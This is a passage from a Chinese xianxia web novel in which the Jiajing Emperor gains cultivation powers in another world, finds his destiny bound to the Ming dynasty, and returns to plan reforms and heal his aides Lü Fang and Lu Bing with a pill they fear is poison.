那该怎么找本命之物?没法找! 一旦出现“无根之命”,那从各方面来讲,你天然的就比别人矮一等,除非你资质绝世,背景深厚,有源源不断的资源供给。 否则,如果是一般家庭,那就很难了。 “就是不知,我的本命会是什么。”怀着期待,嘉靖定了定神后,翻开引气诀看了起来。 上面记载的不光是修行功法,观想图谱,还有修行的常识、经验等等,事无巨细。 简单来说就是一本新手修仙指南! 半晌后,嘉靖放下书,从储物袋里取出一个小瓷瓶,拧开,顿时一股能量迎面而来,浑身的毛孔都在这一刻舒张,贪婪的吞食着。 灵源,一种无色透明的液体,修仙路上最重要的资源,同时也是修仙界的通用货币。 按照引气诀上所说,用舌尖轻点,粘了些灵源,然后就着口水,吞入腹中。 “轰!” 灵源入腹的瞬间,周身猛的涌出一股强横的能量,周身更是衣袍鼓荡。 知道这是正常现象的嘉靖也不慌,迅速盖好瓶盖后,立刻闭目开始观想引气诀的图谱。 而后开始有节奏的呼吸、吐纳。 待到灵气按照图谱行宫路线运转后,然后用意识引导,同时吸引着天地灵气入体。 然而让嘉靖没有想到的是,就在他运转功法一个大周天后,脑海中猛的传来一声轰响。 下一刻,他的意识竟被拉入一个神秘所在! 他看到了一座被安置在沙盒上,破破烂烂,灰雾缭绕,黑色气息浮动缭绕的王朝。 “这是,本命?!” “……” 第六章 本命是残破的大明?! “嗡!” 就在嘉靖看着眼前的本命,心中惊疑不定的时候,他的脑海中陡然涌出一大片信息。 “我的本命是…大明?!” 此刻,接收到本命传递的信息后,嘉靖心中,可以说是震惊的无以复加! 同时,他心中升起一大片疑问。 首先,他不明白,自己是怎么到达自己的识海的。 按照引气诀上说,只有筑基期具备神识后,才能进入识海,看到本命。 再要么就是被大宗门才有的本命映照法器观看,刘权是散修的时候,就曾机缘巧合之下被这种法器照过,所以未筑基就看到了本命。 因此,他在炼气期就开始打磨本命物。 “可是,我又是为何?”嘉靖皱着眉头,打量着一片虚无的空间,和面前的沙盒。 其次,他想不明白的是,他的本命怎么会是大明,而且大明看起来,还是那般的残破不堪。 对,就是残破不堪,像是千疮百孔一样! 不过就在他念头刚起的瞬间,下一刻,他的心头就涌现一股明悟。 “我的原因吗?” 看着那黑气飘摇,满目疮痍,天穹被一层灰雾笼罩的残破王朝,嘉靖表情沉凝。 其实,大明的情况,他如何不知? 他一直都知道,从他继位之初到现在,两广起义就不曾停下过,他怎么可能是个瞎子。 起义的原因,自古无外乎就那么些。 百姓的忍耐力是很强的,不是看不到头,看不到希望,不是被欺压到极限,都会选择忍一忍。 他们会想着,忍一忍就过去了。 直到忍不了的时候,才会拼死反抗。 等到朝廷彻底没了镇压之力的时候,那这个王朝也就会被推翻。 “万方有罪,罪在朕躬!”看着面前痛苦的大明,嘉靖眼底闪过悲悯之色。 直面本命,他更能体会到民间疾苦! 而这句“万方有罪,罪在朕躬”也是在这一刻是发自内心的真实想法,而不是口头一说。 良久,平复情绪后,嘉靖这才仔细打量起了眼前,沙盒之上的大明。 心念一动间,看向大明某处。 一片海滩上,突然出现几艘小船。 而在船上,还站着一群留着丑陋发型,的一群人小矮子,张牙舞爪的。 “倭寇!”看到海上那些来势汹汹,带着滔天的黑色煞气的倭寇,嘉靖眼神陡然一冷。 再看海滩边上,一群大明将士正严阵以待,而他们周身,则缭绕着一股血色红雾。 心中一动,嘉靖看向了那为首的将领,跟着关于将领的信息出现在他脑海中。 “戚继光?”看到戚继光,嘉靖心中略松了一口气。 在嘉靖的观察下,很快戚继光带领的戚家军的骑兵,就与倭寇交上手了。 只能说,不愧是戚继光,不愧是戚家军,仅一个回合,这群倭寇就被击败,落荒而逃。 而大明将士则欢呼雀跃! 看到这一幕,嘉靖脸上也不由露出一抹笑容来,与有荣焉道:“不愧是我大明龙骑!” “记得引气诀上说过,本命是可以与神识交流的,那我是不是也能通过本命勾通大明?” 想着,嘉靖心念一动,来到皇宫。 瞬间就找到了守在玉熙宫外,当值的吕芳,心中一动,在心底呼唤了一声吕芳。 然而,在他的观察下,吕芳却毫无反应。 “不行吗?”想着,嘉靖又不死心的换了一個目标,结果也是一样。 最后,意识来到皇宫,锁定了一只胖乎乎,蜷缩在洞洞里,抬头看雪的狸花猫上。 然而,结果都一样,毫无反应。 “看来,我虽然能进入识海看到本命,但想要与本命沟通,还需要突破筑基,拥有神识才行。” 试了好几个目标都没有成功后,想到症结所在后,嘉靖也就暂时放弃了沟通大明的心思。 “虽然不知道为什么我明明没有修炼出神识,却提前进入了识海,但这已经不重要了。” “重点是,我可以通过本命,随时观察到大明的一切,单单此一项,就能让我将大明牢牢掌控在手中,视听不会受到任何的蒙蔽侵扰!” 嘉靖知道,光是这一个上帝视角,只要利用的好了,就足以让大明在自己手中脱胎换骨。 “此外……”看着眼前冒着黑气,被灰雾笼罩,预示着腐朽,荒败的大明,嘉靖眸光闪烁。 “我的本命是整个大明王朝,那本命物……是否也可以是大明?” “修士本命是打娘胎出来就先天而定的,但可以通过后天寻找,打磨本命物,进行反哺!” “以此达到相辅相成的作用。” “可我的本命就是大明,如果将现实大明当做本命之物,那岂不是说大明越好,我就越强?” “我本身就是大明之主,我自己也可以看做是大明的一部分,那我的元神可也以直接与本命绑定,从而将整个大明,当做是本命物!” 想及此处,嘉靖的心脏不由激动的“怦怦”直跳。 …… 与此同时,黑风寨的英雄汉三位当家和刘权这位军师,也凑在了一起。 “大刘,你怎么看?”独孤英坐在主位上,看向刘权。 好汉兄弟也将目光看了过来。 刘权自然知道三位当家问的是什么。 “来历神秘,谈吐不凡,身上有股养尊处优,却又有别于那些宗派家族子弟的气质。” “有点类似于一派之尊,或是一族之主的感觉……”说着,刘权语气略有迟疑的说:“我怀疑,朱先生可能并非‘大角星’本地人。” 独孤英听完一摆手,道:“是不是本地人不重要,只要不是细作,来历神秘有甚干系?” “寨子里那么多兄弟,哪个落草为寇之前没点过去,你我兄弟几人,不也一样?” 听到这里,刘权微微一笑。 自己当初入黑风寨,不就是欣赏大当家的魄力和用人不疑,疑人不用的豪爽行事作风吗? “那我就给当家个确定的答复,此人可用!” “好!”独孤英大手一挥,正式在内部会议上,确定了嘉靖的“长老人事”任命。 “之前上报书院的宗门名录也要修改一下了。” “先生说的对,好兄弟不能辜负,坏兄弟也不能浪费了!” “什么人有什么人的用法,不能偏信。” “一个凡人当宗门长老,书院那边没问题吧……”这时,独孤雄看向刘权。 “不会,只要遵守书院规矩,他们不会干涉宗派家族内部管理的。”刘权微微摇头。 “大哥是金丹期修士,开辟宗门后,我黑风寨就可以在‘四方城’内开辟一个七品凡人家族,届时寨子里的凡人家眷就能安置了。” 这时,三当家独孤汉也跟着开口。 在大角星修仙界,没有王朝的概念。 有的只是一座座大大小小的儒家书院,管理着无垠疆域之上,一个个修仙宗派和凡人家族。 在复杂、严苛、独特的宗法制下,凡人政权传承和仙门势力相辅相成,井然有序。 宗法制有一条,为制止凡人势力间的战争,领地大小根据家族的品级来划分,而品级又与其附庸的仙门,或者修士的修为实力相关。 九品家族制,对应的则是修仙路上的九个境界。 九对炼气;八对筑基;七对金丹;六对元婴;五对化神;四对炼虚;三对合体;二对大乘。 一品家族对应的,则是传说中的兵解散仙! 比如黑风寨如果开辟宗门,因为掌门是金丹期,如果开辟凡人家族,那就是七品家族。 “放心吧,我已经通知下去了。” “家族名录,族长人选,也全都拟好了,明日就送到书院。” “开荒快要结束了,最多半个月。” “是啊,我黑风寨,就要从一个山寨,变成修仙宗派了,这都是我们共同努力的结果……” “……” 第七章 大丰收,回归! 翌日。 刘权来了嘉靖的住处。 带着嘉靖去见了黑风寨另外一个长老和一些中流砥柱,算是确定他的身份。 期间倒也没有出现什么质疑之类的。 之后,嘉靖又被引荐给了另外一个加入黑风寨的长老成员。 嗯,就是昨日跟他关一起的,刘权口中的柳老。 柳源,一名练气中期的修士。 听刘权说,此人掌握了一些大宗门才有的飞梭、战船等飞行法器的制作之法,是个不可多得的人才! 嘉靖对这种技术型人才,自然也很敬重。 柳源的孙子是個八岁的孩童,并未修行,修仙资质很差,听说柳源曾托关系找大宗门的商会,用本命法器给孙子照过,本命很一般。 “听说是头猪……”刘权神神秘秘的在嘉靖耳边说道。 柳源是个沉默寡言的人,喜欢喝酒。 一张老脸上满是沟壑,明明是修士,看起却来苍老异常。 因为从事的职业关系,双手常年接触各种特殊材料,害了皮肤,双手布满老茧,干枯可怖。 算上柳源跟嘉靖,黑风寨现在拟定的,总共有四个长老,嘉靖排在第四位。 刘权是大长老,另外一位练气中期的修士为二长老,柳源是三长老。 接下来的两天,嘉靖在刘权的陪同下,对黑风寨上下也都熟悉了一遍。 之后,又去了大荒最大的城池,四方城逛了一遍,见识了一番修仙世界的风土人情。 嘉靖对修仙界也有了一个更深的认知。 第三日,黑风寨除了柳源跟嘉靖,以及一些凡人家眷之外,几乎全部修士都踏上了一艘飞梭。 开辟战争到了最后阶段了。 听刘权说,最多不过半个月的时间。 之后就是书院论功封赏的时候了,届时黑风寨就会选福地,正式开宗立派。 成为一方有着金丹大修士坐镇的中型宗门。 望着那一艘庞大如山的飞梭,嘉靖眼底有羡慕之色。 若是大明有如此飞行法器,将再无敌手! …… 夜。房间里。 嘉靖周身灵气环绕。 一袭道袍无风鼓动,脑后长发也跟着翻飞。 “汩汩汩。”在他体内,灵气鼓荡,沿着引气诀的基础经脉,按照周天运行的方式游走。 终于,不知道过了多久,嘉靖浑身灵气激荡,片刻后又全部归于平静。 双眼缓缓睁开,眼神愈发的明亮有神。 “练气一层!”嘉靖嘴角露出了一抹笑意。 没错,三天时间,他突破到了练气一层,快吗?快,以他的年纪来说,简直快穿了! 不过嘉靖知道,这都是沾了本命的光。 “一个残破的大明,就能有如此奇效,若是在筑基之前将大明彻底修复……” “那筑基后,绑定的本命物就是崭新强盛的大明,反哺本命后,修炼岂不是更快?” 想到这里,嘉靖眼神中透露着兴奋之色。 突然,嘉靖心中一动,从储物袋里取出那张还没有使用的“本命符箓”。 “看到本命之后,倒是忘了检测本命属性。”心中想着,嘉靖心中一动,将灵气输入其中。 其实“本命符箓”的作用,不光是为了检测本命属性,还有一个作用就是测试本命。 有属性,自然说明有本命。 没属性,那很大可能就是无根之命了,这种人只能等筑基以后,自己用神识去看了。 毕竟,本命映照法器,可不是什么势力都有的。 “倏!” 一缕灵气输入,继而就见“本命符箓”上的图案突然亮起道道流光。 然后,符箓也跟着漂浮在半空。 下一刻,只见“嘭”的一下,符箓上燃起一蓬火焰,继而一个“火”字跟着出现。 “火属性!”看到这一幕,嘉靖心中惊讶却并不意外,反而觉得理当如此。 因为大明的属性,本就属火! “来到这个世界四天了,”心中想着,嘉靖暗暗总结了一下这次的收获,“加入一方即将建立修仙势力的门派,还成了长老。” “身体毒素也彻底清除干净,寿命也跟着延长,解决了寿命不满六年的死亡危机。其次,确定了本命,修为也突破练气一层。” 想着,嘉靖捏了捏储物袋,“还有一些修仙界培育的粮种,比如后世才会有的瓜果蔬菜。” 这一趟修仙世界之行,堪称收获巨大! “该回去了。”想着,嘉靖心中一动,拿起那瓶装有灵源的小瓶,又给房间里的“禁制”加了一些灵源,以确保不会有人来打扰自己。 对于两界穿梭,这是他的心里的秘密和最大依仗,绝对不能告诉任何人! 虽然院落本就有阵法隔绝,但保险起见,还是把房间里的禁制也激活,谨慎点总没坏处。 做完这一切后,嘉靖心中一动,沟通大明,而后消失在了修仙世界。 一股寒意包裹,嘉靖双眼缓缓睁开。 看着熟悉的精舍,还有手边放着的铜罄,嘉靖嘴角勾动,“回来了!” 不过紧跟着,他的眉头又是微微一拧。 虽然他如今的修为已经达到了练气一层,可身体说白了依旧是普通凡体。 这空旷的大殿,让他感受到了一层寒意。 之前体内重金属严重超标,身体燥热异常,就算大冬天,只穿一件里衣也不觉得冷。 此时体内毒素清除,身体恢复正常,骤然一股寒意袭来,却是让他有些轻微的不适。 心中一动,运转引气诀,储存在体内穴窍中的灵气流淌,不消片刻,寒意全部驱散。 不过很快,他又发现了一个不同! “大明果然没有灵气!”基础引气诀在运行的时候,会自动吸取天地间的灵气入体。 但刚才自己运行功法的时候,却没有感受到半点灵气的存在,这说明天地间没有灵气。 对此,他倒是不意外,早就做好了准备。 “看来,想要将大明打造成一方仙朝,还有很长的路要走啊。”嘉靖心中轻叹一声。 当然,路遥一步步走,现在最重要的是修复大明。 通过观察本命,他心里可清楚的很,如今的大明,可谓是满目疮痍,残破不堪。 大明风调雨顺,人人如龙,那等他筑基后绑定,反哺到本命的效果也就会越好。 他的资质,修为,也会随之水涨船高! “吕芳!”收拾好心情后,嘉靖从精舍中走出,同时喊了一声。 这几天,他虽然人在修仙界,但却是通过观察本命,对大明的一切都了若指掌。 自然知道吕芳每日都准时准点的守在玉熙宫外,为自己护法。 不得不说,吕芳确实是个忠心的仆人! “嘎吱。”这时,房门推开,吕芳快步走了进来,然后二话不说就是一个滑铲跪下。 “恭贺,太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下修为精进,出关!” (注:断句古文或尊号时,其实存在一定的主观性和多种可能性,因为不同的断句,可能会强调不同的意义层次,文中采用个人理解,如下: “太上大罗天仙”:至高无上的仙人。 “紫极长生圣智昭灵”:仙人拥有长生不老、智慧光明的特性。 “统三元”:统辖天、地、人三界。 “证应玉虚”:证明与响应玉虚(道教术语,指神仙居住的仙境)之事。 “总管五雷大真人”:管理五雷的大真人,五雷通常指道教中的五方雷神。 “玄都境”:指深奥神秘的境界领域。 “万寿帝君”:意味着长寿无疆的帝王。) “……” 第八章 陛下真的修成了?!大明的六大危机! “万寿帝君吗?” 听到吕芳的称颂,嘉靖目视大殿之外飘飘扬扬的零星雪花,嘴角勾起一抹笑容。 “这尊号,朕认了!” 听到嘉靖这话,吕芳一愣,下意识的抬头看去。 他突然发现,这位主子似乎变了。 气质更好了,眉宇间也少了些许往日的阴郁,眼神中没有了暴躁之色。 嗯,看来主子修道有所感悟。想着,吕芳心底里也不由的跟着开心。 只要主子开心了,他们这些下人,也能跟着舒心不少。 “沐浴。”说着,嘉靖转身朝着偏殿而去。 这些事自然不需要多说,沐浴用的一切用度,几乎每日都会备着。 不过就在吕芳起身招呼太监们的时候,突然目光一撇,看到了大殿门口暗格处,那放了几日,都不曾动过一下的吃食,眼底闪过一抹惊讶之色。 “主子闭关这几日,都不曾进食吗?”念头一瞬,吕芳便招呼人去收拾干净。 偏殿处,嘉靖褪下全身的衣物,进入了浴桶中。 “主子的皮肤,竟然全好了?!” 看到嘉靖身上,原本满身的红斑丘疹不见后,吕芳心头猛的一怔,再联想到刚才的种种细微,心中不禁生出了一个猜测。 “莫非,真的修成了?可是,这怎么可能呢,难道仙神之说,都是真的,不是道士骗人的?!” 一时间,吕芳看着嘉靖的后背,有些失神。 “灵台方寸山河动,今朝悟道换新颜。”就在这时,嘉靖的声音响起,吕芳陡然惊醒。 身为嘉靖身边的老人,吕芳的文学造诣也不低,对这位主子的行事作风也清楚得很,说话喜欢念诗让人猜,当即就开始揣测起了意思。 显然主子看出自己心中所想了。 这句话就是在给他答案,其中的意思也很直接,我好了,灵台方寸间悟道得来的。 也正是因为这句话,让吕芳心头惊疑不定。难道,修道真的能去除病灶,焕然一新? 而后,吕芳又像是想到了什么,心中了然。 自己的这位主子,权谋之术堪称大成之家,身体突然转好,显然是用了药了。 莫非是李时珍? 又或者是主子养的某位神医? “主子福缘深厚,实乃大明之福!”不管心里怎么想,吕芳当场纳头就拜,道贺就对了! “呵!”嘉靖哪里能不知道,吕芳这是说过年话呢,当即轻笑一声,道:“起来吧。” 吕芳闻言起身,开始给嘉靖擦拭后背,同时不轻不重的按压着肩头。 嘉靖全身放松的靠在浴桶上,大脑完全放空,享受着这一刻的宁静。 “主子,龙虎山有真人入京了。”半晌后,吕芳一边揉捏着肩膀,一边意有所指的说道。 闻言,嘉靖闭着眼,没有说话,贪了几分宁静的放松后,大脑不得不再转动起来。 吕芳的意思,他心里自然是清楚的。 几十年的朝夕相处,他们主仆二人,早就有了应有的默契。 “蓝道行是哪一年进京的?”嘉靖没有直接回答,而是反问了一个问题。 说话间,身子轻轻的靠后。 “回主子的话,蓝神仙嘉靖三十四年。”说着,吕芳语气微微一顿,又道:“奴婢依稀记得,蓝神仙还是徐阁老推荐给主子的呢。” “当年,邵真人告老归隐,但他给朕推荐了同为正一门人的陶真人,哼……”嘉靖说着,哼笑道:“如今想来,真人也要被红尘所累。” 言辞间,多了几分轻视和不屑。 见识过真正的修仙世界,而且自己现在可以说是大明真正的唯一仙。 又岂会再对这些凡人道士敬若真人? 吕芳眼底闪过一抹惊讶之色,主子怎么今日对这些真人,如此不敬了? “主子说的是。” 吕芳掌管司礼监,属于站在大明权力巅峰的人之一,自然明白其中道理,当即笑道:“事关道统之争,毕竟真人也是人,可以理解。” “蓝神仙毕竟属于散修,陶真人仙逝,颇受主子恩宠,正一道心里也是着急的。” “龙虎山的那位真人这次入京,又是谁安排的?”嘉靖不置可否的一笑。 “小阁老向来崇道,与龙虎山的真人一见如故,相谈甚欢,真人现居住在严府。”说完,吕芳便不再言语了,低着头,压低呼吸。 已经触及到帝王敏感点了,不可继续了。 陛下有两个儿子,裕王和景王,朝中清流一党,如徐阶,高拱,张居正等人支持裕王。而以严嵩父子为首的严党,则支持景王。 之前,徐阶讨巧,送了蓝神仙。 严党虽然也想,可当时朝中有正一道的陶真人,又有蓝神仙,他们插手不进人。 再说主子何等人物,过犹不及反而不美。 这一次,陶真人去世,正一道送上门,严党,或者说景王,自然不会错过这個机会。 事关储君之争,不是他可以深谈的了。 “天心不动任自主,道法自然演乾坤……”说着,嘉靖站起身,拿起一旁的道袍穿了起来。 清流、严党之争的背后,实则就是裕王和景王的储位之争,这点嘉靖心里自然清楚。 对于这两个儿子,如果按照历史走,最后自然是裕王了,隆庆开关还是值得肯定的。 可惜的是,这个儿子性格有些软弱了。 而景王,性格洒脱,为人机敏,倒是会讨自己欢心,但容易聪明反被聪明误,且能力不足。 说实话,这两个人都不是自己心仪的太子。 当然,这其中也有自己多年来,从不与他们接触,并未培养教导过他们有关。 “好在朕已踏入仙途,有的是时间做出改变。”心中想着,在吕芳的伺候下穿好新衣后,开口道:“吩咐下去,明日殿前议政。” “另外,让陆炳来见朕。” “是。”吕芳低头应下,“看来此次玄修有成,让主子等不及要大修宫殿了。” 吕芳退下后,嘉靖来到了偏殿的书房。 大手一挥,洁白如雪的纸张铺开,拿起大笔蘸了蘸墨汁后,略一沉吟开始书写。 “当前危机!” “一、财政将崩。” “二、自然灾害频发。” “三、腐败与政治斗争动荡。” “四、卫所制崩溃。” “五、民变频发。” “六、皇帝修道,奢靡行为……”写到这里,嘉靖心中一动,微微摇头,“这条划掉。” 然后重新写下第六条。 “六、五年后,白银大量流入对大明的冲击!” “六大危机,”轻轻呼出一口气,嘉靖目光放在纸上,“只要解决了这些,大明应当脱胎换骨。” “主子,指挥使大人到了。”这时,吕芳的声音响起。 “让他进来。”将第一张纸挪开后,嘉靖心中一动,又开始书写起来,这时吕芳小心上前伺候。 当看到纸上的内容后,下一刻,他的目光不由一缩,只见上面写道: 一、重开西厂。二、扩招锦衣卫。 “……” 第九章 糟了,陛下要赐仙丹了! 主子要重开西厂? 一时间,吕芳心头闪过数个念头。 心中更是不停的揣测起了嘉靖的意思。 西厂,自正德年间彻底裁撤之后就不曾被启用。 主子上位后,加大东厂和锦衣卫的使用力度,锦衣卫负责侦察、逮捕、审讯等任务,而东厂则主要负责监视官员和百姓。 现在突然要重开西厂,这是何意? 莫非,主子对东厂和锦衣卫心生不满? 东厂由他的干儿子黄锦负责,也可以说是由他负责也不为过。 至于锦衣卫,虽然是主子的心腹陆炳在掌管,可近些年陆炳身体逐渐不行,锦衣卫跟东厂的接触也是愈发的密切,自己也睁只眼闭只眼。 一时间,吕芳的心,开始七上八下了起来。 他怎么也没想到,这位一心只知道玄修的主子,会突然开始理政。 “臣,陆炳,参见陛下。” 一个年约五十,身材魁梧,但却脚步虚浮,脸上肿胀,病态显露无疑的男人,步伐缓慢的上前参拜,行走间气喘吁吁。 “赐座。”嘉靖看着自己这位绝对的心腹和发小,眸子里涌动着莫名之色。 “文孚,你越发的老了。”嘉靖说着坐了下来。 闻言,陆炳笑了笑,对着吕芳微微颔首,坐在凳子上,抬头看向嘉靖道:“臣确实老了。” 说话间,陆炳嘴角勾起一抹苦笑。 而后,他突然目光微微一凝,看着嘉靖道:“陛下倒是越发的康健了。” 他这话说的不假,嘉靖现在可是练气一层的修士。 放在修仙世界可能不算什么,可要是在大明这个凡俗世界,那就是在世仙人! 炼气期,可是能使用符箓法术的。 这在大明,如果使用出来,那绝对会让无数人将自己视作是仙人。 这些想法在嘉靖脑海中只是一瞬而已。 此时他思考更多的,其实是要不要继续培养陆炳。 想要救一救陆炳,其实很简单,一颗修仙界常见的丹药,就能去除他身体里所有的病灶。 届时,陆炳少说还能再活個十几二十年。 而自己必须要在五年内,解决刚才列出的六大危机。 因为在嘉靖四十四年,西班牙人就会在菲律宾建立殖民地。 之后,就是开辟从菲律宾马尼拉到墨西哥阿卡普尔科的太平洋航线。 而这条航线的建立的结果导向,就是最终会促成美洲大量的白银流入大明。 那时,对于内忧外患的大明来说,将又是一波重击,最直接的效果就是通货膨胀。 而自己需要做的就是在五年内快速稳定大明局势,并对货币进行改革,且重新制定一套以白银为标准的体系,甚至是建立类似于银行的机构。 如此不但能解决未来的危机,还能将危机,转变为大明发展,腾飞的一个契机。 所以,他现在急需可靠,忠心的人手给自己办事。 心思急转间,嘉靖最后做出了决断。 “知道叫你来所为何事吗?”嘉靖没有去接陆炳的话茬,而是开口问道。 “臣不知。”陆炳微微摇头。 “朕要扩招锦衣卫。”嘉靖直言道。 扩招锦衣卫?陆炳一愣,目光不着痕迹的瞥了眼吕芳,但却没有得到任何的暗示。 自从陛下玄修以来,缩减了很多用度,全部用于修建宫殿庙宇,锦衣卫也裁撤了不少。 这个时候突然要扩招锦衣卫…… 说实话,陆炳有些不明白是什么意思。 “你们都是心腹,朕就给你二人交个底。”嘉靖看了眼吕芳跟陆炳,道: “朝中贪腐太严重了,朕决定整顿吏治、彻查上内阁下到地方的所有官员。” “而锦衣卫,就是这把抄家的刀!” “明日的殿前议政,朕会让工部停下所有在造的宫殿庙宇,经费会用于军需和锦衣卫的扩招。” 嘉靖眼神中透露着前所未有的锐利之色。 “朝中官员,他们贪了多少,就要拿出来多少。” “他们配合倒也罢了,不配合,就不要怪朕不念及多年君臣情分了。” 一番话说直白说出,陆炳跟吕芳都是心头一跳。 他们是嘉靖身边的老人,也是从小陪着这位主子长大的绝对心腹。 对这位主子的脾性,已然是异常清楚。 正是因为如此,他们才知道,他这次是要动真格的了。 而且,看着这一刻的嘉靖,吕芳跟陆炳都有些晃神。 熟悉,太熟悉了! 这一刻的主子陛下,与当年初登大宝,大礼议前的天子明君,是何等的相像。 一样的意气风发,帝心向上! 难道,那个熟悉的主子陛下,又回来了? 一时间,二人心中具是惊疑不已。 “如今的大明,灾害频发,地方官员中饱私囊,欺压百姓,民变不止。”嘉靖说着,抬了抬手指,目视殿外飘洒雪花的天穹,道: “对于百姓来说,有个安身立命之所,那就是家。” “可对于朕来说,家是整个天下。” “现在,家有恶奴,要欺家做主了,他们想要让朕的家宅不宁,那朕就不能坐视不管了。” 嘉靖语气低沉,看着吕芳跟陆炳,道:“而朕能依仗的,就是你们二位了!” “也只有你们才是朕的自家人!” 听到这里,陆炳跟吕芳齐齐纳头就拜,道: “臣(奴婢),陆炳(吕芳),定当为陛下(主子),肝脑涂地,死而后已!” 看着跪在面前的二人,嘉靖满意的点点头,而后大手一挥,道:“起来吧。” 待二人起身后,嘉靖拿出瓷瓶。 “这是朕于灵台方寸悟道,梦中得仙人赐下的仙丹,服用后可祛除全身病灶,延年益寿……” 不好,要遭! 听话听声,锣鼓听音。 这熟悉的节奏,熟悉的话术,陆炳跟吕芳二人对这一套连招实在是太清楚不过了。 一般,自家这位主子陛下,要赏赐功臣心腹仙丹的时候,就是这个调调! 尤其是听到什么仙人梦中赐丹的话术,陆炳跟吕芳的心头都不由的一跳,眼皮都跟着抽抽。 此时二人心中颇有种君臣间刚推心置腹完,他们也刚表完忠心,转眼就遭到背刺的感觉。 我等一心为主,陛下何故戕害我等? 尤其是吕芳,那所谓的仙丹,到底是个什么东西,他这个旁观者,心里可太清楚了。 吃这玩意,无异于是在服毒! 这位主子之前,全身上下的皮肤,很明显就是吃丹药吃的,结果硬是被那帮道士给忽悠瘸了,认为是什么上天对修道的考验。 有拿这玩意考验的吗? 满朝文武,谁不知道这丹药是什么东西? 多少功臣被当天赐下仙丹,回去反手就扔了,他身为嘉靖心腹自然没少被赐下仙丹。 事后他也都是悄默默的吞下,然后上厕所的时候吐给了蛆。 可是现在,主子私下里赐下仙丹,万一让当场吃了咋办,那是吃还是不吃? “……” 第十章 干了这毒丹药,陛下的恩情还不完!真得仙缘了!? “谢主子陛下。” 虽然心中直呼受不了,可吕芳还是在心思急转之间,诚惶诚恐的上前接过玉瓶。 然后拧开瓶盖,倒出两颗棕色的,似乎没有任何味道的丹丸。 嗯,感觉这次的丹药还不如之前的。 之前的仙丹,好歹也是药香飘荡,至少表面上还是让人信服几分的。 可这玩意,乍一看就像是从哪个老汉身上搓下来的泥丸,吃下去怕不是当场毙命吧? 心中想着,吕芳来到陆炳跟前,摊开手掌。 陆炳知道自己的身体,恐怕也没几天活了,当下心一横,直接拿起一粒丹药,看向嘉靖。 “臣,谢陛下赏赐仙丹!”说完,当场吞了下去。 “艹?”看到这一幕,背对着嘉靖,正要给陆炳使眼色,让他回去再吃,这样自己也就能拿回去想办法扔掉的吕芳,当场黑脸。 他还没来得及打眼色呢! 现在陆炳当场就吃了下去,那不是逼的自己也现场吃吗? 好你个老东西,这是知道自己没几天活头了,临了临了也想拉我当垫背呢是吧? 狠狠刮了一眼正襟危坐,似乎看不到自己脸色的陆炳,吕芳也转过身吞了下去。 天爷呀,吃一颗应该不会死吧? 罢了罢了,干了这颗毒丹药,就当是还陛下的恩情了,但陛下的恩情根本还不完啊! 嘉靖坐在上方,目光玩味的打量着二人的脸色,尤其是吕芳,心中顿时觉得有趣。 这老滑头,每次都把自己赏赐的丹药,暗地里悄默声的扔了,以为自己不知道呢。 这次我就当面看你吃下去。 对于吕芳扔掉丹药的行为,自己本就没有怪罪过,只当他是福缘浅薄,是个没造化的罢了,至少对自己忠心,好用,这就够了。 但是这次,他可不能让这老货把好东西当毒药给扔了。 这丹药不是什么仙丹,只是普通的祛除病灶的丹药,最多就是用灵草炼制而成。 修仙界,一铢灵源能买好几瓶。 一般都是宗门里,给凡人家族的凡人准备的,之前自己特意跟刘权要了好几瓶。 这個时代的人,人均寿命也不过是五十多岁而已,如果自己没记错,陆炳就在今年死去。 他是武人,常年习武,身体早就是千疮百孔,病灶丛生了,这丹药吃下去,让他暗伤修复,祛除毒素的同时,还能弥补身体元气。 至少活到七八十不成问题。 凭空给他续了二三十多年的命,那可不就是相当于是延年益寿的仙丹了吗? 这二人是自己绝对的心腹,也是最好用的刀,至少五年内,很难培养出更合适的心腹。 所以,这二人的身子必须要健朗! “额!”就在这时,坐在凳子上的陆炳突然面色一变,继而整个人面容扭曲。 一张苍老,满是沟壑的面容陡然扭曲起来,额头也跟着渗出细密的冷汗。 似乎是在忍耐着什么极大的痛苦。 “陆指挥使!?”看到陆炳这幅模样,吕芳的心肝当场就跟着狠狠一颤。 糟了,这丹有毒! 一瞬间,吕芳似乎是想到了什么,猛的抬头看向上方神情平静,漠然注视着他们的嘉靖。 一双眸子陡然一红,而后“噗通”一声跪在了地上,声音悲戚,“君要臣死,臣不得不死。老奴不怕死,只是不能再伺候主子陛下了。” “愿到了地下,老奴还能继续伺候在主子陛下身边,让老奴偿还陛下的恩情……”说完,脑袋重重磕在地板上,开始放声大哭。 似乎是想通过大哭,控诉嘉靖的无情。 看着努力忍耐着一口老血不要喷出来的陆炳,以及以头怆地,哭的悲戚动人的吕芳,嘉靖嘴角勾起一抹笑容,有趣,相当有趣。 “噗!” 终于,陆炳憋不住了。 一张嘴,而后一口腥臭的黑血喷出。 这突然而来的喷口,吓得吕芳当场止住哭声,身子赶紧挪远,生怕被溅一身血。 本就残躯的身子,他就算是要走,也要干净的走。 “呼,呼,呼。” 喷出老血的陆炳,大口大口喘息着。 不过此刻,他却是顾不上其他,只是双眼瞪的圆啾啾的,不可思议的看着上方的嘉靖。 一双老目中,满满的全是震惊之色,不过很快,又转为狂热! 一开始,吞下丹药没一会,他就感觉腹部一股冰凉的能量流动,继而全身开始隐隐作痛,继而疼痛随着腹部一路向上,来到脏腑。 再听到吕芳那哭丧一样的嚎叫,他也以为自己被赐下了毒药,心中伴随的是不解,疑惑。 他不明白,前一刻还要重用自己的陛下,为何好端端的要对自己下此毒手。 用的还是这种见不得光的手段。 他要杀自己,一道命令,难道自己还会反抗,还有反抗的余地不成? 之后,随着一阵憋闷,继而一口老血喷出,然后就感到身体前所未有的轻松,他这才明白,陛下赐下的根本不是毒丹,而是真正的仙丹! 身为武人,他对自己的身体情况可以说是再了解不过了,这一刻他只感觉全身轻松,身体的病痛,虚弱,在这一刻全部消失不见。 此时此刻,他仿若新生一般。 “噗!”这时,吕芳也是跟着一口老血喷出,没一会他也感觉到了身体的变化。 紧跟着,吕芳也明白了过来,自己冤枉了主子陛下。 陛下赐下的,恐怕是真的仙丹! 至少以他站在权力的巅峰的见识,可不认为世间有什么所谓的神药,能有此功效。 一颗丹药吞入腹,从此病灶尽数消? 这种手段,恐怕只有传说中的仙人才有了吧? 一瞬间,联想到从主子陛下出关到现在所有的细节,吕芳顿时豁然开朗。 恐怕,陛下真的得到了仙缘! 虽然很不可思议,但似乎也只有这一个解释,更为合理了! “主子饶命!”想归想,但吕芳反应却不慢。 